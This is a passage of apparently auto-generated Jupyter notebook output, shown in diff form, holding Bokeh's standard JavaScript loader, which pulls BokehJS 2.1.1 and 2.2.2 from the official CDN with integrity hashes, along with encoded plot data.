(url in hashes) {\n element.crossOrigin = \"anonymous\";\n element.integrity = \"sha384-\" + hashes[url];\n }\n console.debug(\"Bokeh: injecting script tag for BokehJS library: \", url);\n document.head.appendChild(element);\n }\n };\n\n function inject_raw_css(css) {\n const element = document.createElement(\"style\");\n element.appendChild(document.createTextNode(css));\n document.body.appendChild(element);\n }\n\n \n var js_urls = [\"https://cdn.bokeh.org/bokeh/release/bokeh-2.1.1.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.1.1.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.1.1.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-gl-2.1.1.min.js\"];\n var css_urls = [];\n \n\n var inline_js = [\n function(Bokeh) {\n Bokeh.set_log_level(\"info\");\n },\n function(Bokeh) {\n \n \n }\n ];\n\n function run_inline_js() {\n \n if (root.Bokeh !== undefined || force === true) {\n \n for (var i = 0; i < inline_js.length; i++) {\n inline_js[i].call(root, root.Bokeh);\n }\n if (force === true) {\n display_loaded();\n }} else if (Date.now() < root._bokeh_timeout) {\n setTimeout(run_inline_js, 100);\n } else if (!root._bokeh_failed_load) {\n console.log(\"Bokeh: BokehJS failed to load within specified timeout.\");\n root._bokeh_failed_load = true;\n } else if (force !== true) {\n var cell = $(document.getElementById(\"2128\")).parents('.cell').data().cell;\n cell.output_area.append_execute_result(NB_LOAD_WARNING)\n }\n\n }\n\n if (root._bokeh_is_loading === 0) {\n console.debug(\"Bokeh: BokehJS loaded, going straight to plotting\");\n run_inline_js();\n } else {\n load_libs(css_urls, js_urls, function() {\n console.debug(\"Bokeh: BokehJS plotting callback run at\", now());\n run_inline_js();\n });\n }\n}(window));" + "application/vnd.bokehjs_load.v0+json": "\n(function(root) {\n function now() {\n return new Date();\n }\n\n var force = true;\n\n if (typeof root._bokeh_onload_callbacks === \"undefined\" || force === true) {\n root._bokeh_onload_callbacks = [];\n root._bokeh_is_loading = undefined;\n }\n\n \n\n \n if (typeof (root._bokeh_timeout) === \"undefined\" || force === true) {\n root._bokeh_timeout = Date.now() + 5000;\n root._bokeh_failed_load = false;\n }\n\n var NB_LOAD_WARNING = {'data': {'text/html':\n \"
\\n\"+\n \"

\\n\"+\n \"BokehJS does not appear to have successfully loaded. If loading BokehJS from CDN, this \\n\"+\n \"may be due to a slow or bad network connection. Possible fixes:\\n\"+\n \"

\\n\"+\n \"
    \\n\"+\n \"
  • re-rerun `output_notebook()` to attempt to load from CDN again, or
    • \\n\"+\n \"
  • use INLINE resources instead, as so:
    • \\n\"+\n \"
\\n\"+\n \"\\n\"+\n \"from bokeh.resources import INLINE\\n\"+\n \"output_notebook(resources=INLINE)\\n\"+\n \"\\n\"+\n \"
\"}};\n\n function display_loaded() {\n var el = document.getElementById(\"2814\");\n if (el != null) {\n el.textContent = \"BokehJS is loading...\";\n }\n if (root.Bokeh !== undefined) {\n if (el != null) {\n el.textContent = \"BokehJS \" + root.Bokeh.version + \" successfully loaded.\";\n }\n } else if (Date.now() < root._bokeh_timeout) {\n setTimeout(display_loaded, 100)\n }\n }\n\n\n function run_callbacks() {\n try {\n root._bokeh_onload_callbacks.forEach(function(callback) {\n if (callback != null)\n callback();\n });\n } finally {\n delete root._bokeh_onload_callbacks\n }\n console.debug(\"Bokeh: all callbacks have finished\");\n }\n\n function load_libs(css_urls, js_urls, callback) {\n if (css_urls == null) css_urls = [];\n if (js_urls == null) js_urls = [];\n\n root._bokeh_onload_callbacks.push(callback);\n if (root._bokeh_is_loading > 0) {\n console.debug(\"Bokeh: BokehJS is being loaded, scheduling callback at\", now());\n return null;\n }\n if (js_urls == null || js_urls.length === 0) {\n run_callbacks();\n return null;\n }\n console.debug(\"Bokeh: BokehJS not loaded, scheduling load and callback at\", now());\n root._bokeh_is_loading = css_urls.length + js_urls.length;\n\n function on_load() {\n root._bokeh_is_loading--;\n if (root._bokeh_is_loading === 0) {\n console.debug(\"Bokeh: all BokehJS libraries/stylesheets loaded\");\n run_callbacks()\n }\n }\n\n function on_error() {\n console.error(\"failed to load \" + url);\n }\n\n for (var i = 0; i < css_urls.length; i++) {\n var url = css_urls[i];\n const element = document.createElement(\"link\");\n element.onload = on_load;\n element.onerror = on_error;\n element.rel = \"stylesheet\";\n element.type = \"text/css\";\n element.href = url;\n console.debug(\"Bokeh: injecting link tag for BokehJS stylesheet: \", url);\n document.body.appendChild(element);\n }\n\n const hashes = {\"https://cdn.bokeh.org/bokeh/release/bokeh-2.2.2.min.js\": \"JayppSWSRBsibIZqI8S4vAb1oFgLL0uhNvSn8cmArlOvYOwfFjYeyY5UWwJ+K0SU\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.2.2.min.js\": \"G0/Tv/Yy/zEPNsnW0Qif/FOsGesd+KIrKg/QLmvQmReuUW9qmSP7mAmr0VpiUNr3\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.2.2.min.js\": \"VLYHEbLQDk5G1+/4ALU0myoJPMEUsngWry2fzYorFOUmarjGRPLLURaeK/on6JqX\"};\n\n for (var i = 0; i < js_urls.length; i++) {\n var url = js_urls[i];\n var element = document.createElement('script');\n element.onload = on_load;\n element.onerror = on_error;\n element.async = false;\n element.src = url;\n if (url in hashes) {\n element.crossOrigin = \"anonymous\";\n element.integrity = \"sha384-\" + hashes[url];\n }\n console.debug(\"Bokeh: injecting script tag for BokehJS library: \", url);\n document.head.appendChild(element);\n }\n };\n\n function inject_raw_css(css) {\n const element = document.createElement(\"style\");\n element.appendChild(document.createTextNode(css));\n document.body.appendChild(element);\n }\n\n \n var js_urls = [\"https://cdn.bokeh.org/bokeh/release/bokeh-2.2.2.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.2.2.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.2.2.min.js\"];\n var css_urls = [];\n \n\n var inline_js = [\n function(Bokeh) {\n Bokeh.set_log_level(\"info\");\n },\n function(Bokeh) {\n \n \n }\n ];\n\n function run_inline_js() {\n \n if (root.Bokeh !== undefined || force === true) {\n \n for (var i = 0; i < inline_js.length; i++) {\n inline_js[i].call(root, root.Bokeh);\n }\n if (force === true) {\n display_loaded();\n }} else if (Date.now() < root._bokeh_timeout) {\n setTimeout(run_inline_js, 100);\n } else if (!root._bokeh_failed_load) {\n console.log(\"Bokeh: BokehJS failed to load within specified timeout.\");\n root._bokeh_failed_load = true;\n } else if (force !== true) {\n var cell = $(document.getElementById(\"2814\")).parents('.cell').data().cell;\n cell.output_area.append_execute_result(NB_LOAD_WARNING)\n }\n\n }\n\n if (root._bokeh_is_loading === 0) {\n console.debug(\"Bokeh: BokehJS loaded, going straight to plotting\");\n run_inline_js();\n } else {\n load_libs(css_urls, js_urls, function() {\n console.debug(\"Bokeh: BokehJS plotting callback run at\", now());\n run_inline_js();\n });\n }\n}(window));" }, "metadata": {}, "output_type": "display_data" @@ -2748,7 +2988,7 @@ "\n", "\n", "\n", - "
\n" + "
\n" ] }, "metadata": {}, @@ -2760,8 +3000,8 @@ "(function(root) {\n", " function embed_document(root) {\n", " \n", - " var docs_json = {\"a36e25ea-b00b-450a-97bf-f1d547559961\":{\"roots\":{\"references\":[{\"attributes\":{\"children\":[{\"id\":\"2132\"},{\"id\":\"2164\"}]},\"id\":\"2213\",\"type\":\"Column\"},{\"attributes\":{},\"id\":\"2141\",\"type\":\"LinearScale\"},{\"attributes\":{},\"id\":\"2249\",\"type\":\"YearsTicker\"},{\"attributes\":{\"axis_label\":\"Event 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2QgCAyZ2HjnZCAIDJnYeOdkIAgMmdh452QgCAyZ2HjnZCAIDJnYeOdkIAAFwh2I52QgCAMbyNjnZCAICJ0Y6OdkIAgInRjo52QgCAUpyHjnZCAIBSnIeOdkIAAEkTi452QgAASROLjnZCAICBqYeOdkIAgIGph452QgAABqSNjnZCAIAnlI2OdkIAgCeUjY52QgCAJ5SNjnZCAIAnlI2OdkIAgCeUjY52QgCAJ5SNjnZCAIAnlI2OdkIAgCeUjY52QgAA4nqAjnZCAADieoCOdkIAALrOgY52QgCAv0WPjnZCAACpsIOOdkIAAKmwg452QgCAHL2DjnZCAADoYYSOdkIAgKW7g452QgAANHmFjnZCAIB+7oaOdkIAAGG8g452QgCATzSOjnZCAABbUoCOdkIAgBWRjo52QgCAFZGOjnZCAIAVkY6OdkIAAO5bcI52QgAAgCBvjnZCAACAIG+OdkIAAFTCcY52QgAA8LRvjnZCAABvf3GOdkIAgH0Wb452QgCAXDB2jnZCAICelY2OdkIAAGF6jo52QgAAYXqOjnZCAIBcMHaOdkIAgFwwdo52QgCAXDB2jnZCAAD2oIeOdkIAAPagh452QgAA9qCHjnZCAAD2oIeOdkIAgLhud452QgAAFPx3jnZCAAAU/HeOdkIAgK+ieY52QgCAr6J5jnZCAAAlAnqOdkIAgGJAiI52QgCA1Wx6jnZCAADxY3mOdkIAAPFjeY52QgAA39F8jnZCAADf0XyOdkIAAA1xfY52QgCA0x6OjnZCAIDffH6OdkIAgN98fo52QgCA33x+jnZCAIC62IiOdkIAANnSfI52QgAA2dJ8jnZCAIDnUX6OdkIAgMr0dY52QgAA4qOOjnZCAADio46OdkIAAB95kI52QgAAi52HjnZCAACLnYeOdkIAAIudh452QgAAi52HjnZCAABT722OdkIAAIrda452QgAAit1rjnZCAACK3WuOdkIAAMIhbY52QgAAN6xyjnZCAAA3rHKOdkIAgBYkc452QgAAqBiLjnZCAACoGIuOdkIAABkodI52QgCAwzpujnZCAICVp2uOdkIAgJWna452QgAApIVyjnZCAACkhXKOdkIAgBuWjY52QgCAG5aNjnZCAACwdomOdkIAAHP6jY52QgAAc/qNjnZCAIBSnIeOdkIAgFKch452QgCAUpyHjnZCAIBSnIeOdkIAgFKch452QgAAua2KjnZCAAC5rYqOdkIAACNDi452QgAAI0OLjnZCAADduYeOdkIAAN25h452QgAA3bmHjnZCAADduYeOdkIAAN25h452QgCATJ2HjnZCAIDJnYeOdkIAgMmdh452QgAAkZyHjnZCAACqX42OdkIAAKpfjY52QgAAql+NjnZCAACqX42OdkIAgE/Jio52QgAA2VBojnZCAADZUGiOdkIAANlQaI52QgAAlI5qjnZCAADR+GiOdkIAAG84aI52QgCAAgRrjnZCAIASN2mOdkIAAMoCa452QgAAygJrjnZCAAApFGmOdkIAAE6OZY52QgCAPMtkjnZCAIA8y2SOdkIAAI8VZo52QgCASMlkjnZCAIBIyWSOdkIAgCRkYY52QgCAJGRhjnZCAAChJGOOdkIAAImfZI52QgCAGjZijnZCAIBY/GKOdkIAgFj8Yo52QgCAYFphjnZCAIBgWmGOdkIAAEMoXo52QgAAQyhejnZCAIApil6OdkIAADrrXY52QgAAOutdjnZCAABFk1qOdkIAAEWTWo52QgCAqzNbjnZCAICrM1uOdkIAAGGyW452QgAAgA9djnZCAIC8RVuOdkIAgBN8Wo52QgAAd/xVjnZCAIDprFOOdkIAgOmsU452QgCA6D5UjnZCAABfa1mOdkIAgMAJV452QgCAwAlXjnZCAACGJlmOdkIAABusV452QgAAG6xXjnZCAAALnVOOdkIAAAudU452QgAAp2VYjnZCAADtDFeOdkIAAO0MV452QgAAb3VJjnZCAABvdUmOdkIAgOwaTI52QgCAr8JKjnZCAABhoUmOdkIAgBh5SY52QgCAkeVFjnZCAICR5UWOdkIAACCdSI52QgAAYbNGjnZCAADyCUaOdkIAAPIJRo52QgAA8glGjnZCAIDew0yOdkIAgN7DTI52QgCAlslNjnZCAIAA6EyOdkIAgI9WT452QgAAYYlNjnZCAIC6w02OdkIAgLhwTY52QgCAAOhMjnZCAIAA6EyOdkIAAGqLQo52QgAAaotCjnZCAAAKm0KOdkIAAGHLQo52QgAAOC5FjnZCAADXgVKOdkIAANeBUo52QgAA14FSjnZCAADXgVKOdkIAABNyU452QgAAZDhQjnZCAABkOFCOdkIAACqJUo52QgAAKolSjnZCAAAqiVKOdkIAgFwOUo5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Application\",\"version\":\"2.2.2\"}};\n", + " var render_items = [{\"docid\":\"807fac8d-f261-45b2-8038-742eb7d80f5a\",\"root_ids\":[\"2899\"],\"roots\":{\"2899\":\"1031a81c-d82f-4aec-a17e-534dd3a72e46\"}}];\n", " root.Bokeh.embed.embed_items_notebook(docs_json, render_items);\n", "\n", " }\n", @@ -2788,7 +3028,7 @@ }, "metadata": { "application/vnd.bokehjs_exec.v0+json": { - "id": "2213" + "id": "2899" } }, "output_type": "display_data" @@ -2799,7 +3039,7 @@ "\n", "
\n", " \n", - " Loading BokehJS ...\n", + " Loading BokehJS ...\n", "
" ] }, @@ -2969,7 +3209,7 @@ " \"\"}};\n", "\n", " function display_loaded() {\n", - " var el = document.getElementById(\"2470\");\n", + " var el = document.getElementById(\"3116\");\n", " if (el != null) {\n", " el.textContent = \"BokehJS is loading...\";\n", " }\n", @@ -3035,7 +3275,7 @@ " document.body.appendChild(element);\n", " }\n", "\n", - " const hashes = {\"https://cdn.bokeh.org/bokeh/release/bokeh-2.1.1.min.js\": \"kLr4fYcqcSpbuI95brIH3vnnYCquzzSxHPU6XGQCIkQRGJwhg0StNbj1eegrHs12\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.1.1.min.js\": \"xIGPmVtaOm+z0BqfSOMn4lOR6ciex448GIKG4eE61LsAvmGj48XcMQZtKcE/UXZe\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.1.1.min.js\": \"Dc9u1wF/0zApGIWoBbH77iWEHtdmkuYWG839Uzmv8y8yBLXebjO9ZnERsde5Ln/P\", \"https://cdn.bokeh.org/bokeh/release/bokeh-gl-2.1.1.min.js\": \"cT9JaBz7GiRXdENrJLZNSC6eMNF3nh3fa5fTF51Svp+ukxPdwcU5kGXGPBgDCa2j\"};\n", + " const hashes = {\"https://cdn.bokeh.org/bokeh/release/bokeh-2.2.2.min.js\": \"JayppSWSRBsibIZqI8S4vAb1oFgLL0uhNvSn8cmArlOvYOwfFjYeyY5UWwJ+K0SU\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.2.2.min.js\": \"G0/Tv/Yy/zEPNsnW0Qif/FOsGesd+KIrKg/QLmvQmReuUW9qmSP7mAmr0VpiUNr3\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.2.2.min.js\": \"VLYHEbLQDk5G1+/4ALU0myoJPMEUsngWry2fzYorFOUmarjGRPLLURaeK/on6JqX\"};\n", "\n", " for (var i = 0; i < js_urls.length; i++) {\n", " var url = js_urls[i];\n", @@ -3060,7 +3300,7 @@ " }\n", "\n", " \n", - " var js_urls = [\"https://cdn.bokeh.org/bokeh/release/bokeh-2.1.1.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.1.1.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.1.1.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-gl-2.1.1.min.js\"];\n", + " var js_urls = [\"https://cdn.bokeh.org/bokeh/release/bokeh-2.2.2.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.2.2.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.2.2.min.js\"];\n", " var css_urls = [];\n", " \n", "\n", @@ -3089,7 +3329,7 @@ " console.log(\"Bokeh: BokehJS failed to load within specified timeout.\");\n", " root._bokeh_failed_load = true;\n", " } else if (force !== true) {\n", - " var cell = $(document.getElementById(\"2470\")).parents('.cell').data().cell;\n", + " var cell = $(document.getElementById(\"3116\")).parents('.cell').data().cell;\n", " cell.output_area.append_execute_result(NB_LOAD_WARNING)\n", " }\n", "\n", @@ -3106,7 +3346,7 @@ " }\n", "}(window));" ], - "application/vnd.bokehjs_load.v0+json": "\n(function(root) {\n function now() {\n return new Date();\n }\n\n var force = true;\n\n if (typeof root._bokeh_onload_callbacks === \"undefined\" || force === true) {\n root._bokeh_onload_callbacks = [];\n root._bokeh_is_loading = undefined;\n }\n\n \n\n \n if (typeof (root._bokeh_timeout) === \"undefined\" || force === true) {\n root._bokeh_timeout = Date.now() + 5000;\n root._bokeh_failed_load = false;\n }\n\n var NB_LOAD_WARNING = {'data': {'text/html':\n \"
\\n\"+\n \"

\\n\"+\n \"BokehJS does not appear to have successfully loaded. If loading BokehJS from CDN, this \\n\"+\n \"may be due to a slow or bad network connection. Possible fixes:\\n\"+\n \"

\\n\"+\n \"
    \\n\"+\n \"
  • re-rerun `output_notebook()` to attempt to load from CDN again, or
    • \\n\"+\n \"
  • use INLINE resources instead, as so:
    • \\n\"+\n \"
\\n\"+\n \"\\n\"+\n \"from bokeh.resources import INLINE\\n\"+\n \"output_notebook(resources=INLINE)\\n\"+\n \"\\n\"+\n \"
\"}};\n\n function display_loaded() {\n var el = document.getElementById(\"2470\");\n if (el != null) {\n el.textContent = \"BokehJS is loading...\";\n }\n if (root.Bokeh !== undefined) {\n if (el != null) {\n el.textContent = \"BokehJS \" + root.Bokeh.version + \" successfully loaded.\";\n }\n } else if (Date.now() < root._bokeh_timeout) {\n setTimeout(display_loaded, 100)\n }\n }\n\n\n function run_callbacks() {\n try {\n root._bokeh_onload_callbacks.forEach(function(callback) {\n if (callback != null)\n callback();\n });\n } finally {\n delete root._bokeh_onload_callbacks\n }\n console.debug(\"Bokeh: all callbacks have finished\");\n }\n\n function load_libs(css_urls, js_urls, callback) {\n if (css_urls == null) css_urls = [];\n if (js_urls == null) js_urls = [];\n\n root._bokeh_onload_callbacks.push(callback);\n if (root._bokeh_is_loading > 0) {\n console.debug(\"Bokeh: BokehJS is being loaded, scheduling callback at\", now());\n return null;\n }\n if (js_urls == null || js_urls.length === 0) {\n run_callbacks();\n return null;\n }\n console.debug(\"Bokeh: BokehJS not loaded, scheduling load and callback at\", now());\n root._bokeh_is_loading = css_urls.length + js_urls.length;\n\n function on_load() {\n root._bokeh_is_loading--;\n if (root._bokeh_is_loading === 0) {\n console.debug(\"Bokeh: all BokehJS libraries/stylesheets loaded\");\n run_callbacks()\n }\n }\n\n function on_error() {\n console.error(\"failed to load \" + url);\n }\n\n for (var i = 0; i < css_urls.length; i++) {\n var url = css_urls[i];\n const element = document.createElement(\"link\");\n element.onload = on_load;\n element.onerror = on_error;\n element.rel = \"stylesheet\";\n element.type = \"text/css\";\n element.href = url;\n console.debug(\"Bokeh: injecting link tag for BokehJS stylesheet: \", url);\n document.body.appendChild(element);\n }\n\n const hashes = {\"https://cdn.bokeh.org/bokeh/release/bokeh-2.1.1.min.js\": \"kLr4fYcqcSpbuI95brIH3vnnYCquzzSxHPU6XGQCIkQRGJwhg0StNbj1eegrHs12\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.1.1.min.js\": \"xIGPmVtaOm+z0BqfSOMn4lOR6ciex448GIKG4eE61LsAvmGj48XcMQZtKcE/UXZe\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.1.1.min.js\": \"Dc9u1wF/0zApGIWoBbH77iWEHtdmkuYWG839Uzmv8y8yBLXebjO9ZnERsde5Ln/P\", \"https://cdn.bokeh.org/bokeh/release/bokeh-gl-2.1.1.min.js\": \"cT9JaBz7GiRXdENrJLZNSC6eMNF3nh3fa5fTF51Svp+ukxPdwcU5kGXGPBgDCa2j\"};\n\n for (var i = 0; i < js_urls.length; i++) {\n var url = js_urls[i];\n var element = document.createElement('script');\n element.onload = on_load;\n element.onerror = on_error;\n element.async = false;\n element.src = url;\n if (url in hashes) {\n element.crossOrigin = \"anonymous\";\n element.integrity = \"sha384-\" + hashes[url];\n }\n console.debug(\"Bokeh: injecting script tag for BokehJS library: \", url);\n document.head.appendChild(element);\n }\n };\n\n function inject_raw_css(css) {\n const element = document.createElement(\"style\");\n element.appendChild(document.createTextNode(css));\n document.body.appendChild(element);\n }\n\n \n var js_urls = [\"https://cdn.bokeh.org/bokeh/release/bokeh-2.1.1.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.1.1.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.1.1.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-gl-2.1.1.min.js\"];\n var css_urls = [];\n \n\n var inline_js = [\n function(Bokeh) {\n Bokeh.set_log_level(\"info\");\n },\n function(Bokeh) {\n \n \n }\n ];\n\n function run_inline_js() {\n \n if (root.Bokeh !== undefined || force === true) {\n \n for (var i = 0; i < inline_js.length; i++) {\n inline_js[i].call(root, root.Bokeh);\n }\n if (force === true) {\n display_loaded();\n }} else if (Date.now() < root._bokeh_timeout) {\n setTimeout(run_inline_js, 100);\n } else if (!root._bokeh_failed_load) {\n console.log(\"Bokeh: BokehJS failed to load within specified timeout.\");\n root._bokeh_failed_load = true;\n } else if (force !== true) {\n var cell = $(document.getElementById(\"2470\")).parents('.cell').data().cell;\n cell.output_area.append_execute_result(NB_LOAD_WARNING)\n }\n\n }\n\n if (root._bokeh_is_loading === 0) {\n console.debug(\"Bokeh: BokehJS loaded, going straight to plotting\");\n run_inline_js();\n } else {\n load_libs(css_urls, js_urls, function() {\n console.debug(\"Bokeh: BokehJS plotting callback run at\", now());\n run_inline_js();\n });\n }\n}(window));" + "application/vnd.bokehjs_load.v0+json": "\n(function(root) {\n function now() {\n return new Date();\n }\n\n var force = true;\n\n if (typeof root._bokeh_onload_callbacks === \"undefined\" || force === true) {\n root._bokeh_onload_callbacks = [];\n root._bokeh_is_loading = undefined;\n }\n\n \n\n \n if (typeof (root._bokeh_timeout) === \"undefined\" || force === true) {\n root._bokeh_timeout = Date.now() + 5000;\n root._bokeh_failed_load = false;\n }\n\n var NB_LOAD_WARNING = {'data': {'text/html':\n \"
\\n\"+\n \"

\\n\"+\n \"BokehJS does not appear to have successfully loaded. If loading BokehJS from CDN, this \\n\"+\n \"may be due to a slow or bad network connection. Possible fixes:\\n\"+\n \"

\\n\"+\n \"
    \\n\"+\n \"
  • re-rerun `output_notebook()` to attempt to load from CDN again, or
    • \\n\"+\n \"
  • use INLINE resources instead, as so:
    • \\n\"+\n \"
\\n\"+\n \"\\n\"+\n \"from bokeh.resources import INLINE\\n\"+\n \"output_notebook(resources=INLINE)\\n\"+\n \"\\n\"+\n \"
\"}};\n\n function display_loaded() {\n var el = document.getElementById(\"3116\");\n if (el != null) {\n el.textContent = \"BokehJS is loading...\";\n }\n if (root.Bokeh !== undefined) {\n if (el != null) {\n el.textContent = \"BokehJS \" + root.Bokeh.version + \" successfully loaded.\";\n }\n } else if (Date.now() < root._bokeh_timeout) {\n setTimeout(display_loaded, 100)\n }\n }\n\n\n function run_callbacks() {\n try {\n root._bokeh_onload_callbacks.forEach(function(callback) {\n if (callback != null)\n callback();\n });\n } finally {\n delete root._bokeh_onload_callbacks\n }\n console.debug(\"Bokeh: all callbacks have finished\");\n }\n\n function load_libs(css_urls, js_urls, callback) {\n if (css_urls == null) css_urls = [];\n if (js_urls == null) js_urls = [];\n\n root._bokeh_onload_callbacks.push(callback);\n if (root._bokeh_is_loading > 0) {\n console.debug(\"Bokeh: BokehJS is being loaded, scheduling callback at\", now());\n return null;\n }\n if (js_urls == null || js_urls.length === 0) {\n run_callbacks();\n return null;\n }\n console.debug(\"Bokeh: BokehJS not loaded, scheduling load and callback at\", now());\n root._bokeh_is_loading = css_urls.length + js_urls.length;\n\n function on_load() {\n root._bokeh_is_loading--;\n if (root._bokeh_is_loading === 0) {\n console.debug(\"Bokeh: all BokehJS libraries/stylesheets loaded\");\n run_callbacks()\n }\n }\n\n function on_error() {\n console.error(\"failed to load \" + url);\n }\n\n for (var i = 0; i < css_urls.length; i++) {\n var url = css_urls[i];\n const element = document.createElement(\"link\");\n element.onload = on_load;\n element.onerror = on_error;\n element.rel = \"stylesheet\";\n element.type = \"text/css\";\n element.href = url;\n console.debug(\"Bokeh: injecting link tag for BokehJS stylesheet: \", url);\n document.body.appendChild(element);\n }\n\n const hashes = {\"https://cdn.bokeh.org/bokeh/release/bokeh-2.2.2.min.js\": \"JayppSWSRBsibIZqI8S4vAb1oFgLL0uhNvSn8cmArlOvYOwfFjYeyY5UWwJ+K0SU\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.2.2.min.js\": \"G0/Tv/Yy/zEPNsnW0Qif/FOsGesd+KIrKg/QLmvQmReuUW9qmSP7mAmr0VpiUNr3\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.2.2.min.js\": \"VLYHEbLQDk5G1+/4ALU0myoJPMEUsngWry2fzYorFOUmarjGRPLLURaeK/on6JqX\"};\n\n for (var i = 0; i < js_urls.length; i++) {\n var url = js_urls[i];\n var element = document.createElement('script');\n element.onload = on_load;\n element.onerror = on_error;\n element.async = false;\n element.src = url;\n if (url in hashes) {\n element.crossOrigin = \"anonymous\";\n element.integrity = \"sha384-\" + hashes[url];\n }\n console.debug(\"Bokeh: injecting script tag for BokehJS library: \", url);\n document.head.appendChild(element);\n }\n };\n\n function inject_raw_css(css) {\n const element = document.createElement(\"style\");\n element.appendChild(document.createTextNode(css));\n document.body.appendChild(element);\n }\n\n \n var js_urls = 